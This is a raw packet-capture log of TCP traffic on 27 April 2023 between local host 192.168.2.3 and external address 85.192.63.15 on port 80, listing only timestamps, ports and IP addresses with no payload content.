Apr 27, 2023 07:41:57.955588102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955595970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955635071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955641985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955682039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955687046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955729008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955730915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955775976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955779076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955821991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955830097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955859900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.955883980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.955903053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956527948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956561089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956605911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956607103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956629992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956641912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956654072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956697941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956722975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956758022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956780910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956800938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956801891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956845999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956851959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956891060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956897020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956927061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.956940889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.956974030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.960974932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961044073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961077929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961078882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961122990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961122990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961122990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961169958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961178064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961214066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961227894 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961258888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961272955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961304903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961321115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961337090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961366892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961380959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961389065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961424112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961436033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961468935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961469889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961507082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961513996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961560011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961805105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961848974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961863041 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961894035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961901903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961930037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.961944103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.961978912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.963864088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.963949919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.963972092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.963999033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.964004040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.964056015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.964059114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.964099884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.964109898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.964148998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.965559006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.965606928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.965646982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.965686083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.965697050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.965722084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.965739012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.965770960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969399929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969448090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969496965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969501972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969530106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969542027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969546080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969587088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969594955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969633102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969638109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969671965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.969686985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.969721079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.970114946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.970180988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.970207930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.970241070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.970246077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.970283985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.970304012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.970345020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973488092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973536968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973581076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973588943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973613977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973614931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973632097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973649979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973668098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973694086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973702908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973740101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973742962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973783970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973790884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973818064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973834038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.973853111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.973874092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.974267960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980206013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980259895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980297089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980341911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980349064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980377913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980391979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980422974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980431080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980465889 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980470896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980510950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980515003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980545998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.980561018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.980591059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.981719971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.981769085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.981800079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.981813908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.981831074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.981851101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:57.981873989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:57.981894970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.004477024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.004532099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.004575968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.004616976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.004657030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.004657030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.004662037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.004720926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.009644032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009712934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009746075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009783030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009829044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009845018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.009876013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009896994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.009922981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009938002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.009959936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.009985924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.010021925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.010919094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.010957003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.011003971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.011024952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.011046886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.011049986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.011085033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.011086941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.011118889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.011147976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.015958071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.016006947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.016077042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.016091108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.016102076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.016128063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.016149998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.016191006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.017463923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.017507076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.017550945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.017563105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.017592907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.017597914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.017630100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.017635107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.017659903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.017697096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.020768881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.020803928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.020847082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.020876884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.020891905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.020925045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.020929098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.020970106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.021011114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.022526026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.022571087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.022614956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.022644997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.022646904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.022700071 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.022782087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.027709007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.027792931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.027833939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.027839899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.027878046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.027880907 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.027925014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.027976036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.030925989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.030972004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.031007051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.031017065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.031052113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.031061888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.031089067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.031120062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.048527956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.048572063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.048614979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.048639059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.048639059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.048660040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.048681974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.048701048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.048703909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.048753023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.072618961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.072675943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.072732925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.072741032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.072776079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.072779894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.072792053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.072829008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074055910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074093103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074136972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074136972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074162960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074168921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074179888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074213982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074219942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074250937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.074264050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.074301004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.075916052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.075962067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.075980902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.076004982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.076005936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.076040983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.076056957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.076092958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.293431044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.293504953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.293541908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.293587923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.293627024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.293627024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.293627024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.293704987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.293705940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.294666052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.294729948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.294765949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.294796944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.294811964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.294823885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.294852972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.294863939 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.294897079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.294934988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.296736956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.296803951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.296853065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.296857119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.296881914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.296892881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.296921968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.296964884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.297909975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.297974110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.298008919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.298018932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.298046112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.298054934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.298090935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.298094988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.298127890 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.298166990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.302826881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.302891970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.302928925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.302973986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.302997112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.303009033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.303128004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.306030989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.306080103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.306158066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.306194067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.306201935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.306317091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.311243057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.311296940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.311373949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.311433077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.311494112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.311558008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:58.312905073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.312958956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.312994003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.313040972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:58.313049078 CEST	49697	80	192.168.2.3	85.192.63.15
